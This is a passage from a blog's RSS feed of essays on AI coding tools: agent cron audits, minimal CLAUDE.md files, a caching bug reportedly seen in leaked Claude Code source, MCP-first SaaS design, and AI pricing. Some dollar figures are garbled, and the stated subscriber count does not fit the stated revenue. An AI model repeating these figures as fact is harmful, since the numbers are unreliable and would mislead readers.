unnoticed.</p><p>If a job stopped running a month ago and you didn’t miss it, the job was never producing anything that mattered. That’s not my heuristic. That’s the audit, evaluating itself while I was busy talking about audits on Twitter.</p><p>Four more are in some stage of limping.</p><p><code>reddit-scan</code> — 27 runs over 45 days, last one April 10. Running, sort of, when the mood takes it. Nine days of silence so far on that one.</p><p><code>x-scan</code> — identical pattern to reddit-scan. Same overlap. Same drift. Same silence since April 10. These two were supposed to be complementary; they’ve turned out to be redundant<em>and</em> unreliable, which is a rare trick.</p><p><code>engagement-brief</code> — four runs, total, in the job’s entire lifetime. Not daily. Not weekly. More like “occasionally, if the stars align.”</p><p><code>x-analytics</code> — three runs, last one March 16. Effectively dead, which is fine, because I check my X numbers roughly once a month anyway.</p><p>Final tally, the honest one.</p><p>Three jobs firing on schedule, producing output I use. Three jobs that silently stopped weeks ago and nobody in this house noticed, including me. Four jobs wandering between “running” and “not really” with no clear reason why.</p><p>Three-of-ten is the optimistic read. The pessimistic read is that six of the ten audited themselves — they cut themselves by going quiet, and I hadn’t even done them the courtesy of looking.</p><p>This is from someone who builds daemons for a living and writes about them for a job. What do you think yours looks like under the hood?</p><h1 id="the-five-question-self-test"><strong>The five-question self-test</strong></h1><p>Before you keep any always-on agent job, make it answer these:</p><ol><li><p><strong>Would I actually miss this if it stopped?</strong> If you turned it off for two weeks and no one noticed, it’s not producing value. It’s producing comfort.</p></li><li><p><strong>Does the cadence match downstream consumption?</strong> A job that fires 4x/day for output you read weekly is 27 extra runs a week of pure overhead.</p></li><li><p><strong>Is the trigger genuinely external?</strong> (Scheduled time, incoming event, captured input.) If the agent is just checking on itself, you’ve built a Roomba that vacuums an empty room.</p></li><li><p><strong>Could a shell script + cron +</strong><code>jq</code><strong>do this?</strong> If yes, you’re not using AI for the part that needs AI.</p></li><li><p><strong>Does the output change my behaviour?</strong> If yesterday’s run and last Thursday’s run would have produced the same action from me (or none), one of them was wasted.</p></li></ol><p>Honest answers will cull your cron list by half. Mine certainly did, once I stopped writing this post and actually did the audit.</p><h1 id="what-this-isnt-saying"><strong>What this isn’t saying</strong></h1><p>I’m not arguing against always-on agents. I’m arguing against always-on agents that<em>aren’t doing anything.</em></p><p>There’s real value when the conditions line up — work-while-you-sleep, external-trigger-response, on-the-move-capture, judgment-laden-monitoring. The reason I keep the daemon running (even after cutting half its jobs) is those four categories genuinely earn the monthly subscription. The reason I’m writing this is that the other six patterns — the ones that photograph well — are funding a lot of framework development and not much measurable outcome.</p><p>If your agent is doing category 1-4 work, the hype is warranted. If it’s doing category 5-6 work, you’re paying a subscription to a demo.</p><p>The uncomfortable question for most of the agent-community content right now is<em>which category is the thing being demoed, really?</em> And whether the person demoing it has done the five-question audit on their own cron list.</p><p>My guess: very few have. The demo economy doesn’t reward the audit. It rewards the screenshot of the agent waking up at 3am and pretending to be useful.</p>
]]></content:encoded></item><item><title>Your CLAUDE.md Is Making Claude Dumber</title><link>https://lakshminp.com/2026/04/claude-md-best-practices/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/04/claude-md-best-practices/</guid><category>essays</category><category>claude-code</category><category>ai-coding</category><description>Your CLAUDE.md is 800 lines long. You spent a weekend organizing it into 27 modular files with a routing system. You wrote a blog post about it. You got upvotes.
Claude is ignoring most of it.
There’s an arms race happening in the Claude Code community right now. Every week, someone posts their increasingly elaborate CLAUDE.md setup. 27-file architectures. Tiered loading systems. Router patterns with conditional context injection.
One developer split their CLAUDE.md into 27 files with a three-tier routing system. 360 upvotes. The post opens with: “My CLAUDE.md was ~800 lines. It worked until it didn’t. Rules for one context bled into another, edits had unpredictable side effects, and the model quietly ignored constraints buried 600 lines deep.”</description><content:encoded>&lt;![CDATA[<p>Your CLAUDE.md is 800 lines long. You spent a weekend organizing it into 27 modular files with a routing system. You wrote a blog post about it. You got upvotes.</p><p>Claude is ignoring most of it.</p><p>There’s an arms race happening in the Claude Code community right now. Every week, someone posts their increasingly elaborate CLAUDE.md setup. 27-file architectures. Tiered loading systems. Router patterns with conditional context injection.</p><p>One developer<a href="https://reddit.com/r/ClaudeCode/comments/1rhe89z/" rel="external nofollow noopener" class="lnp-link">split their CLAUDE.md into 27 files</a> with a three-tier routing system. 360 upvotes. The post opens with: “My CLAUDE.md was ~800 lines. It worked until it didn’t. Rules for one context bled into another, edits had unpredictable side effects, and the model quietly ignored constraints buried 600 lines deep.”</p><p>The top comment, with 81 upvotes? “So not sure if you realised you can have descendant CLAUDE.md so you don’t even need to do this.”</p><p>Meanwhile, a developer in the same thread: “I don’t even use claude.md. Y’all are roleplaying being productive. Just work with it 1:1.”</p><p>One group is optimizing. The other is actually working.</p><h2 id="the-research-says-youre-doing-it-wrong">The Research Says You’re Doing It Wrong</h2><p>ETH Zurich researchers<a href="https://arxiv.org/pdf/2602.11988" rel="external nofollow noopener" class="lnp-link">published a paper</a> that should have made every CLAUDE.md maximalist uncomfortable. Their finding: context files — the .md files we all obsess over — tend to<em>reduce</em> task success rates compared to providing no repository context at all. And they increase inference cost by over 20%.</p><p>Read that again. No CLAUDE.md outperformed having one. On average.</p><p>When this paper hit Reddit, the poster titled it “<a href="https://reddit.com/r/ClaudeAI/comments/1rd93ho/" rel="external nofollow noopener" class="lnp-link">No CLAUDE.md → baseline. Bad CLAUDE.md → worse. Good CLAUDE.md → better.</a>” — an optimistic spin suggesting the file isn’t the problem, your writing is. The post got 209 upvotes. But the top comments immediately called it out: OP had misread the data. The actual finding was that having<em>any</em> .md file — human or LLM-written — led to worse performance than having none. The auto-generated thread summary confirmed it: “The consensus in this thread is that you’ve completely misread the paper.”</p><p>It gets worse. LLM-generated .md files hurt the most, because they just parrot back what’s already in the code. Human-written files showed a slight positive impact — but only when kept to an absolute minimum, and only for smaller models.</p><p>A separate benchmark of 1,188 runs across Haiku, Sonnet, and Opus confirmed this. Twelve coding tasks. Ten instruction profiles. The result: an empty CLAUDE.md scored best overall.</p><p>The researcher’s own correction was admirably blunt: “I was wrong about CLAUDE.md compression. Here’s what the data actually showed.”</p><p>You Have an Instruction Budget. You’re Blowing It.</p><p>Here’s the mechanism nobody talks about.</p><p>Frontier models reliably follow about 150 to 200 instructions before performance starts decaying. Not crashing — decaying. Every additional instruction slightly degrades compliance with every other instruction. The degradation is uniform. Your critical “NEVER delete the production database” rule gets weaker every time you add “prefer camelCase for variable names.”</p><p>Claude Code’s own system prompt already burns about 50 of those instruction slots. That’s before your CLAUDE.md even loads.</p><p>So you have roughly 100-150 instruction slots left. Your 800-line CLAUDE.md with coding conventions, style guides, architecture decisions, tool preferences, workflow rules, and team norms is trying to cram 400 instructions into 150 slots.</p><p>The model doesn’t crash. It just quietly starts ignoring things. Specifically, the things buried deepest in the file. Your most important rules — the ones you added after painful debugging sessions — are probably at the bottom. Which means they’re the first to get deprioritized.</p><p>Claude Is Designed to Ignore You</p><p>This is the part that should make you pause.</p><p>Claude Code’s system prompt includes this line about CLAUDE.md content:</p><blockquote><p>“This context may or may not be relevant to your tasks. You should not respond to this context unless it is highly relevant.”</p></blockquote><p>Claude is literally instructed to deprioritize your instructions if they don’t seem relevant to the current task. The more task-specific content you stuff into CLAUDE.md, the more likely Claude treats the entire file as noise.</p><p>That database schema guidance? Irrelevant when Claude is working on frontend CSS. Those API naming conventions? Noise when it’s writing tests. Your elaborate deployment workflow? Invisible during a refactoring session.</p><p>Every irrelevant instruction trains Claude to ignore the relevant ones too.</p><p>The Context Window Tax</p><p>Here’s the math nobody does. Claude Code’s system prompt alone consumes roughly 23,000 tokens — about 11% of the 200K context window, gone before you type a word. Add your CLAUDE.md, your MCP tool schemas, skill descriptions, memory files, and rules. One developer<a href="https://reddit.com/r/ClaudeAI/comments/1s41rym/" rel="external nofollow noopener" class="lnp-link">measured 69,200 tokens of overhead</a> — 35% of the context window consumed before a single user message. Others in the thread pushed back on that specific number, but the principle stands: every always-loaded instruction competes with working memory.</p><p>And it’s not just a cost problem. It’s an accuracy problem. The fuller the context window gets, the worse Claude performs — what Anthropic calls context rot. Your elaborate CLAUDE.md isn’t just burning tokens. It’s actively degrading the quality of every response.</p><p>The Leverage Problem</p><p>Here’s why this matters more than you think.</p><p>Bad code is localized. You write a buggy function, it breaks one feature. You fix it, you move on.</p><p>Bad CLAUDE.md instructions compound. A single misguided rule in your CLAUDE.md affects every research phase, every plan, every implementation, every session. One line that says “always use verbose error messages with full stack traces” produces thousands of lines of noisy code across your entire codebase, across every agent, across every session.</p><p>Your CLAUDE.md is the highest-leverage file in your repo. Most people treat it like a junk drawer.</p><p>What the Minimalists Actually Do</p><p>I went looking for people who run Claude Code with minimal or no CLAUDE.md. They’re out there. They’re quiet about it because “I don’t use CLAUDE.md” doesn’t get upvotes.</p><p>One developer on Reddit: “I use Claude Code bare bones professionally. It all sounds like bloat not giving real value.” Another: “I load no skills, no agents, no MCP Servers and rock it all day every day, 12 hours a day. Life is good.”</p><p>A developer<a href="https://reddit.com/r/ClaudeAI/comments/1rmjg5r/" rel="external nofollow noopener" class="lnp-link">who built a 13-agent orchestration system</a> with 8,157 lines of markdown deleted 93% of it. His conclusion: “My enhancement layer was making Claude dumber by filling its brain with instructions about how to think, leaving less room for actual thinking.” After the deletion, Claude performed<em>better</em> on the same tasks.</p><p>Another developer with<a href="https://reddit.com/r/ClaudeAI/comments/1lvbe21/" rel="external nofollow noopener" class="lnp-link">a 350-line CLAUDE.md and 20+ custom MCP tools</a> put it simply: “It feels like the more context I add the more it struggles to get the job done. It seems to get ‘dumber’.”</p><p>And when someone<a href="https://reddit.com/r/ClaudeAI/comments/1lvi94t/" rel="external nofollow noopener" class="lnp-link">asked the community to break down the meta</a> on all the conflicting CLAUDE.md advice, the most honest reply got it right: “If ‘best practices’ are conflicting, it’s probably a sign of them mostly being a type of placebo on the part of the folks posting them. The human mind has a weird need to be the special one who cracked the code.”</p><p>The pattern is consistent: people who remove instructions report better results than people who add them.</p><p>Instructions Raise the Floor, Not the Ceiling</p><p>The benchmark data revealed something nuanced. Instructions don’t make Claude better on average. They make it more consistent.</p><p>On tasks where Claude already performs well, instructions add nothing. On tasks where Claude struggles, a focused workflow checklist gave Opus a +5.8 point lift and raised its worst-case score by 20+ points.</p><p>A<a href="https://reddit.com/r/ClaudeAI/comments/1pe37e3/" rel="external nofollow noopener" class="lnp-link">2,455-evaluation benchmark</a> across Sonnet and Opus confirmed a related finding: the best-performing configuration was a short CLAUDE.md with pointers to skills that load on demand — not a massive monolith, not 27 modular files, but a minimal routing layer that tells Claude where to find context when it’s actually needed.</p><p>This changes everything about how you should think about CLAUDE.md.</p><p>Don’t use it to make Claude smarter. Use it to prevent Claude from being stupid in specific, known ways. The difference between those two goals is the difference between a 60-line file and an 800-line file.</p><h2 id="what-actually-belongs-in-claudemd">What Actually Belongs in CLAUDE.md</h2><p>After digging through research, benchmarks, and hundreds of Reddit threads, here’s what survives the cut:</p><p><strong>The What-Why-How skeleton (under 60 lines):</strong></p><ul><li><p>WHAT: Your stack, project structure, key directories</p></li><li><p>WHY: What this project does and for whom</p></li><li><p>HOW: Build commands, test commands, deploy commands</p></li></ul><p><strong>Negatives over positives:</strong><br>
“NEVER use X” sticks. “Always prefer Y” fades. If you can phrase it as a prohibition, it enforces better. “DO NOT modify the database schema without migration files” beats “Always create migrations when changing the schema.”</p><p><strong>Trigger-action format:</strong><br>
“WHEN CI fails, DO NOT push until fixed” enforces consistently. “Always test before pushing” doesn’t. Specificity matters.</p><p><strong>Pointers, not content:</strong><br>
Reference external docs instead of embedding them. “See agent_docs/database.md for schema guidance” loads on demand. Pasting the full schema into CLAUDE.md loads every single session, whether Claude needs it or not.</p><p><strong>Subdirectory CLAUDE.md files:</strong><br>
Claude auto-loads CLAUDE.md from whatever directory it’s reading files in. Put backend rules in backend/CLAUDE.md. Put frontend rules in frontend/CLAUDE.md. Context-specific rules load only when contextually relevant.</p><h2 id="what-doesnt-belong">What Doesn’t Belong</h2><p><strong>Style guides.</strong> Claude is an in-context learner. If your code follows consistent patterns, Claude will match them without being told. Use linters and formatters — they’re deterministic, fast, and don’t eat instruction budget.</p><p><strong>LLM-generated instructions.</strong> The research is clear: auto-generated .md files hurt performance. Don’t use /init. Don’t ask Claude to write its own CLAUDE.md. The model just repeats what’s already in the code, wasting tokens to tell itself what it already knows.</p><p><strong>Lessons learned logs.</strong> Once the lesson is codified in the codebase itself — as a test, a lint rule, a hook — the .md entry is redundant. Delete it.</p><p><strong>Persona assignments.</strong> “You are a meticulous senior engineer who always&hellip;” is a costume, not a capability. As one developer<a href="https://reddit.com/r/ClaudeAI/comments/1rmjg5r/" rel="external nofollow noopener" class="lnp-link">running overnight cron agents</a> put it: “A syntax check that returns exit code 1 on failure &gt; 2,000 words of ‘you are a meticulous senior engineer who always&hellip;’” The agents with minimal instructions consistently outperformed the ones with elaborate persona prompts.</p><p>The Real Best Practice</p><p>Keep your CLAUDE.md under 100 lines. Ideally under 60. Put the most important rules at the top. Phrase them as negatives. Use trigger-action format. Point to external docs instead of embedding content.</p><p>Then stop optimizing and go build something.</p><p>The developers shipping the most code aren’t the ones with the fanciest CLAUDE.md architectures. They’re the ones who figured out the minimum viable instructions and moved on to the actual work.</p><p>Your CLAUDE.md is not your product. Stop treating it like one.</p>
]]></content:encoded></item><item><title>The Claude Code Leak Revealed a Token Drain Bug. The Real Problem Is Bigger.</title><link>https://lakshminp.com/2026/04/claude-code-leaked-source-code-token-drain-ai-subsidy/</link><pubDate>Thu, 02 Apr 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/04/claude-code-leaked-source-code-token-drain-ai-subsidy/</guid><category>essays</category><category>claude-code</category><category>security</category><description>Follow-up to: Anthropic Is Losing Money on You Every Month. What Are You Shipping?
Three weeks ago, I wrote that Anthropic is losing money on every subscriber and that smart developers should ship like crazy before the economics normalize.
I was right about the thesis. I was wrong about the timeline.
The window isn’t closing in 18-24 months. It’s closing now.
What Changed in Three Weeks Three things happened in rapid succession that accelerated the timeline:</description><content:encoded>&lt;![CDATA[<p><em>Follow-up to:<a href="https://lakshminp.com/p/ai-subsidy-window-developers" class="lnp-link">Anthropic Is Losing Money on You Every Month. What Are You Shipping?</a></em></p><p>Three weeks ago, I wrote that Anthropic is losing money on every subscriber and that smart developers should ship like crazy before the economics normalize.</p><p>I was right about the thesis. I was wrong about the timeline.</p><p>The window isn’t closing in 18-24 months. It’s closing now.</p><h1 id="what-changed-in-three-weeks"><strong>What Changed in Three Weeks</strong></h1><p>Three things happened in rapid succession that accelerated the timeline:</p><p><strong>1. Claude subscriptions doubled.</strong> Anthropic’s paid user base went from ~30k to ~60k subscribers between January and March 2026. Record growth. The Claude Code launch, Super Bowl buzz, and Cowork tools drove a wave of new signups.</p><p><strong>2. Rate limits got brutal.</strong> Users on r/ClaudeAI went from “this is amazing” to “I can’t work” practically overnight. Pro users ($20/month) report hitting 10% of their daily quota from a single prompt. Max users ($100-200/month) report the same degradation. One Max 20x subscriber — paying $200/month — couldn’t work for nine consecutive days.</p><p><strong>3. The source code leaked.</strong> On March 31, 2026, a 59.8 MB source map file was accidentally shipped in the Claude Code npm package. 512,000 lines of TypeScript, mirrored across GitHub within hours. And buried in that code was proof of something users had been complaining about for weeks.</p><h1 id="the-token-drain-bug"><strong>The Token Drain Bug</strong></h1><p>Here’s what the leak revealed.</p><p>Claude Code has a function called<code>db8</code> that filters what gets saved to session files. For non-Anthropic users, it strips out all attachment-type messages — including<code>deferred_tools_delta</code> records that track which tools the model already knows about.</p><p>When you resume a session, Claude Code scans your history to figure out what tools it already announced. But because<code>db8</code> nuked those records, it finds nothing. So it re-announces every deferred tool from scratch. Every. Single. Resume.</p><p>This breaks prompt caching in three ways:</p><ul><li><p>System reminders shift positions in the message array</p></li><li><p>The billing hash changes because the first message content differs</p></li><li><p>The cache breakpoint moves because the array length is different</p></li></ul><p>Result: your entire conversation rebuilds as<code>cache_creation</code> tokens instead of hitting<code>cache_read</code>. The longer the conversation, the worse the drain.</p><p>One user patched the two-line fix and posted it. His 5-hour usage dropped from spiralling out of control to 6% — normal levels. The post got 367 upvotes. A sharp commenter noted the patch also bypasses billing controls on cache TTL, which makes it not just a bug fix, but let’s set that aside.</p><p>Here’s the uncomfortable part: this bug was burning tokens silently for weeks. Users were complaining about rate limits. Anthropic’s status page showed “no incidents.” And the actual cause was a caching bug in their own client code.</p><h1 id="the-math-doesnt-work"><strong>The Math Doesn’t Work</strong></h1><p>Let’s do the numbers.</p><p>Anthropic’s annualized revenue is roughly $14 billion. Claude Code alone accounts for $2.5 billion of that run rate — up from $500 million just three months earlier. Consumer subscriptions generated about $1.2 billion in 2025, with 1,000%+ year-over-year growth.</p><p>Sounds great, right? Until you look at the other side of the ledger.</p><p>Anthropic burned approximately $5.2 billion in 2025. They’ve committed over $80 billion in cloud infrastructure costs through 2029. They just raised $30 billion in a Series G at a $380 billion valuation — the second-largest private tech financing ever, behind only OpenAI.</p><p>They’re buying compute at a staggering scale: 1 million Google TPUv7 chips (~$52 billion deal), a dedicated 1,200-acre AWS data center campus in Indiana ($11 billion), and a $50 billion deal with Fluidstack for facilities in Texas and New York. Total committed compute: over 2 gigawatts.</p><p>All of this is funded by venture capital and strategic investors (Amazon’s $8B+, Google’s $3B+). Not by your $20/month Pro subscription.</p><p>Anthropic projects positive free cash flow by 2027-2028. That’s the plan. But plans require the revenue to actually materialize, the compute to come online in time, and the unit economics to hold as usage scales.</p><p>Right now, 60,000 subscribers are overwhelming the existing infrastructure so badly that paying customers can’t work.</p><h1 id="the-subsidy-is-collapsing-under-its-own-success"><strong>The Subsidy Is Collapsing Under Its Own Success</strong></h1><p>Here’s the dynamic I didn’t fully appreciate three weeks ago.</p><p>The subsidy doesn’t end with a price increase. It ends with degradation.</p><p>Anthropic can’t raise prices on Pro from 20to20<em>to</em>50 tomorrow — that would cause a revolt and hand users to OpenAI and Google. But they can let the service get worse at the current price. Tighter rate limits. More frequent throttling. Peak-hour queuing. Features that work “sometimes.”</p><p>This is exactly what’s happening.</p><p>The math is simple. Double the subscribers on the same compute = everyone gets half the capacity. As one Reddit user put it: “selling more seats on the same plane and wondering why legroom is shrinking.”</p><p>And Anthropic isn’t alone. Google slashed Gemini API free tier quotas by 50-92% overnight in December 2025. One developer went from 300M+ input tokens per week to hitting limits at less than 9M. OpenAI’s ChatGPT Pro at $200/month is the only major offering that effectively removes caps — but at ten times the price of a Pro subscription.</p><p>The pattern across the industry: subsidized tiers are getting squeezed. The compute costs are real. And the bill always comes due.</p><h1 id="why-im-not-hitting-limits-and-you-might-not-be-either"><strong>Why I’m Not Hitting Limits (And You Might Not Be Either)</strong></h1><p>Here’s a mystery. Despite all this chaos, I’ve barely noticed the rate limits. After reading the threads and the leaked source code, I think I know why.</p><p><strong>I almost never resume sessions.</strong> The biggest token drain fires on session resume. My workflow — fresh sessions, agent registration per session, structured<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> — accidentally dodges this bug entirely.</p><p><strong>Surgical prompts.</strong> I don’t say “explore my codebase.” I say “read this file and fix this function.” My beads-based task tracking means every session has a specific objective. No wandering. No 94k-token “Explore” runs.</p><p><strong>Time zone arbitrage.</strong> IST puts my working hours outside US peak times. When r/ClaudeAI is screaming about rate limits at 2 PM Eastern, it’s midnight for me. I’m coding at 6 AM IST when San Francisco is asleep.</p><p><strong>Structured context.</strong> Between<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a>,<a href="http://architecture.md/" rel="external nofollow noopener" class="lnp-link">ARCHITECTURE.md</a>, and explicit file paths, Claude doesn’t need to discover my codebase. It already knows the layout. That’s 90% less indexing work.</p><p>This isn’t luck. It’s workflow design. But it reinforces the point from my original post: the subsidy rewards those who use it efficiently. Wasteful usage — open-ended exploration, resumed conversations, vague prompts — burns tokens at 10-50x the rate of focused work.</p><h1 id="what-this-means-for-you"><strong>What This Means For You</strong></h1><p>If you read my original post and thought you had 18-24 months — you might, on paper. Anthropic has the cash. They have the compute commitments. They project 70billioninrevenueby2028and70<em>billioninrevenueby</em>2028<em>and</em>17 billion in free cash flow.</p><p>But the experience of using the product is degrading right now. Not in 18 months. Now.</p><p>Here’s what actually matters:</p><p><strong>1. Ship before the experience degrades further.</strong> The window isn’t about pricing — it’s about capability per dollar. Today, $20/month gets you frontier model access that would have cost $500/month in API calls two years ago. That ratio is moving in the wrong direction as more users pile in.</p><p><strong>2. Optimize your workflow.</strong> Start fresh sessions. Use<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> and<a href="http://architecture.md/" rel="external nofollow noopener" class="lnp-link">ARCHITECTURE.md</a>. Be specific in your prompts. Avoid “Explore” and open-ended commands. These aren’t just productivity tips — they’re rate limit survival strategies.</p><p><strong>3. Don’t build on the assumption of unlimited AI access.</strong> If your product or workflow requires constant frontier model access at current prices, you’re building on borrowed time. Build systems that work<em>with</em> AI but can degrade gracefully. Ship products that generate revenue independent of your development tools.</p><p><strong>4. The enterprise pivot is coming.</strong> Anthropic’s enterprise revenue is already 80% of total. They have 300,000+ business customers, with large accounts (&gt;$100K ARR) growing 7x year-over-year. Follow the money: consumer subscriptions are the loss leader. Enterprise is the business. When push comes to shove, enterprise gets the compute.</p><h1 id="the-real-lesson"><strong>The Real Lesson</strong></h1><p>The leaked source code is a metaphor for the entire AI subsidy era.</p><p>For weeks, users were burning through rate limits at impossible speeds. They blamed themselves (”skill issue”), they blamed Anthropic (”fix your limits”), they blamed the model (”Claude got dumber”). The actual cause was a two-line bug in a caching function that nobody could see because the code was proprietary.</p><p>That’s the subsidy in miniature. You’re using a product where you can’t see the internals, can’t predict the costs, and can’t control when the rules change. The value is extraordinary — right now. But you’re a guest in someone else’s infrastructure, running on someone else’s VC money, subject to someone else’s capacity planning.</p><p>The smartest move hasn’t changed since three weeks ago. Ship. Build durable assets — products, content, audiences, skills — while the arbitrage is still available.</p><p>But do it faster than you planned. The window isn’t closing in 18 months.</p><p>The glass is already cracking.</p>
]]></content:encoded></item><item><title>Your SaaS Audience Doubled. Half of Them Are AI Agents.</title><link>https://lakshminp.com/2026/03/build-mcp-server-first-saas/</link><pubDate>Mon, 16 Mar 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/03/build-mcp-server-first-saas/</guid><category>essays</category><category>saas</category><category>ai-coding</category><description>I was building the wrong product for about three weeks before I noticed.
I’d started x-intel as a SuperX clone — essentially a better analytics dashboard for X. Charts, follower graphs, engagement breakdowns, competitor tracking. The kind of thing where you look at a number, decide you feel bad about it, and close the tab.
And then I was chatting with Claude about the onboarding flow, and I said something like: “when I say onboarding, I mean the app gets my context and goals, then charts a strategy, periodically reviews it, and course corrects.”</description><content:encoded>&lt;![CDATA[<p>I was building the wrong product for about three weeks before I noticed.</p><p>I’d started x-intel as a SuperX clone — essentially a better analytics dashboard for X. Charts, follower graphs, engagement breakdowns, competitor tracking. The kind of thing where you look at a number, decide you feel bad about it, and close the tab.</p><p>And then I was chatting with Claude about the onboarding flow, and I said something like: “when I say onboarding, I mean the app gets my context and goals, then charts a strategy, periodically reviews it, and course corrects.”</p><p>Claude’s response stopped me:<em>“That’s a fundamentally different product. Less ‘setup wizard’, more ‘AI strategist that lives in your X account.’</em>“</p><p>I stared at that for a while. Then I realized I’d been building the audit view and calling it the product.</p><p>The dashboard isn’t the product. The dashboard is what humans look at after the AI already figured out what’s happening.</p><p>Build the MCP server first. The dashboard ships itself.</p><p>The problem is everyone’s still building it the other way.</p><h1 id="what-everyone-is-still-building"><strong>What Everyone Is Still Building</strong></h1><p>Claude Code exists. The MCP protocol exists. Power users are already interacting with SaaS products through AI agents — not because you built that integration, but because<em>they</em> built it themselves using whatever API you exposed. They’re writing<a href="https://lakshminp.substack.com/p/stop-making-claude-code-guess" rel="external nofollow noopener" class="lnp-link">CLAUDE.md files</a> that say “use the<a href="https://stacksweller.com/" rel="external nofollow noopener" class="lnp-link">Stacksweller</a> API to schedule posts” and just&hellip; doing it.</p><p>This is happening whether you designed for it or not.</p><p>The default SaaS in 2026 still ships dashboard-first: database → API → React. Users log in, stare at charts, try to draw conclusions. That model made sense when the only consumer of your product was a human looking at a screen.</p><p>That is no longer the only consumer of your product.</p><p>You can either build for this intentionally, or have it happen to you messily and then spend six months retrofitting.</p><h1 id="the-reframe"><strong>The Reframe</strong></h1><p>Here’s what x-intel actually looks like when you build it right:</p><p><strong>Intake</strong> — Claude asks who you are, what your niche is, what your X goals are, who your competitors are. You answer in plain English. Claude turns that into a structured profile using the<code>set_profile</code> tool.</p><p><strong>Baseline</strong> — Claude pulls your current stats, analyzes your last 90 tweets, benchmarks against competitors. All MCP tools calling your data layer. No UI step required.</p><p><strong>Strategy</strong> — Claude generates a content and growth plan: post frequency, best times, content formats, topics to lean into. Stored back in your database via MCP. The strategy exists before you’ve opened a browser.</p><p><strong>Periodic review</strong> — A cron job runs weekly analysis, compares performance against the strategy, surfaces what’s working and what isn’t. Claude writes a summary. The dashboard shows that summary.</p><p><strong>Course correction</strong> — Strategy updates based on data. Again, through tools. Again, before a human looks at anything.</p><p>The dashboard in this architecture isn’t the product. It’s an audit log. It shows you what Claude already figured out. Charts are passive — you still have to decide what to do. This tells you what to do, and then does it.</p><p>That’s a completely different product. “X-intel is your AI X strategist. Tell it your goals once. It watches your account, tracks competitors, and tells you exactly what to do next.”</p><p>That pitch destroys “SuperX but self-hosted.”</p><h1 id="how-to-actually-build-mcp-first"><strong>How to Actually Build MCP-First</strong></h1><p>The mechanics are simpler than they sound. Embarrassingly so.</p><p>Start by<a href="https://lakshminp.substack.com/p/mcp-server-tool-descriptions" rel="external nofollow noopener" class="lnp-link">designing your tools for Claude, not for humans</a>. Think about what Claude needs to do the job — not what a human wants to click on. Tool names, parameter shapes, return values should make sense to a language model.<code>get_competitor_engagement_trend(handle, days=30)</code> is better than<code>getChartData(config)</code>. One of these tells Claude what it’s getting. The other makes Claude guess.</p><p>Here’s the part nobody mentions: if you have a data layer, you have an MCP server 70% built already. Wrap your existing queries as tools. The MCP protocol is just a contract — your database doesn’t move.</p><p>You don’t need to build an “AI feature.” You need a<a href="https://lakshminp.substack.com/p/claude-code-prompt-engineering" rel="external nofollow noopener" class="lnp-link">system prompt that gives Claude the right context</a>, and tools that give it the right data. Claude is the strategist. Your MCP server is the strategist’s interface to your product. The actual work is thinking clearly about what Claude needs to know — not engineering.</p><p>Build the dashboard last, or thin. It’s a view layer. It shows stored strategies, weekly reviews, flagged anomalies. A log of decisions that were already made. Not a decision-support tool.</p><h1 id="one-build-two-audiences"><strong>One Build, Two Audiences</strong></h1><p>Here’s the payoff that makes this worth doing even if you don’t care about being “AI-native.”</p><p>A well-designed MCP server makes your product useful to two completely different types of users with almost no additional work.</p><p>The first type opens the dashboard, reads the weekly strategy review, clicks to approve the suggested changes, and closes the tab. Normal SaaS behavior. They don’t know or care that Claude is behind it. They just want outcomes.</p><p>The second type connects your MCP server to their own Claude Code setup, writes a<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> that describes how they want to use your product, and runs it themselves. These are your power users. They’ll do things with your product you never imagined, and they’ll tell everyone.</p><p>You still need the dashboard. Trials convert better with a UI. Not arguing otherwise. But the order matters: MCP layer first, dashboard second. The dashboard snaps on top in a weekend once the tools are solid. The reverse — retrofitting agent-friendly APIs onto a human-optimized interface — takes six months and still feels wrong.</p><p>Both audiences are real. Both are valuable. You get both by building the MCP layer correctly from the start, instead of bolting on an “AI integration” later when it’s expensive and awkward.</p><p>The dashboard-first founders will get there eventually. They’ll build the dashboard, grow slowly, and then spend six months retrofitting an API that was designed for human consumption into something an agent can actually use.</p><p>Or you build the MCP server first, ship a thin dashboard on top, and have both audiences from day one.</p><p>The dashboard ships itself. The strategist is Claude. The product is the tools you give it.</p><p>Stop building audit logs and calling them products.</p>
]]></content:encoded></item><item><title>Anthropic Is Losing Money on You Every Month. What Are You Shipping?</title><link>https://lakshminp.com/2026/03/ai-subsidy-window-developers/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/03/ai-subsidy-window-developers/</guid><category>essays</category><category>craft</category><description>I do this thing at the end of every month where I look at my Claude usage stats and feel mildly guilty.
Not guilty enough to stop, obviously. But guilty in the way you feel when you’ve been eating at a nice restaurant and you suddenly realize your friend with the expense account has been covering all of it. You’d have ordered differently if you knew that at the start.</description><content:encoded>&lt;![CDATA[<p>I do this thing at the end of every month where I look at my Claude usage stats and feel mildly guilty.</p><p>Not guilty enough to stop, obviously. But guilty in the way you feel when you’ve been eating at a nice restaurant and you suddenly realize your friend with the expense account has been covering all of it. You’d have ordered differently if you knew that at the start.</p><p>Here’s what I know: I pay $200/month for Claude Max. Based on what I actually do with it — multi-hour Claude Code sessions, agents running in parallel, research deep-dives, content pipelines chewing through tokens like a hungry golden retriever — the API-rate equivalent of my usage is somewhere between $600 and $900. Every month.</p><p>Anthropic is losing money on me. On you. On every developer who’s turned this into a real part of how they build.</p><p>This isn’t an accident. This is the plan. And it has an expiration date.</p><h1 id="the-hemorrhage-is-real"><strong>The Hemorrhage Is Real</strong></h1><p>I was reading Sebastian Raschka’s<em><a href="https://www.manning.com/books/build-a-large-language-model-from-scratch" rel="external nofollow noopener" class="lnp-link">Build a Large Language Model from Scratch</a></em> last week and stumbled into a footnote that sent me down a rabbit hole. He cites Lambda Labs: it would take 355 years to train GPT-3 on a single V100 datacenter GPU. On a consumer RTX 8000: 665 years.</p><p>I know, I know — “but they use thousands of GPUs in parallel.” Yes. And 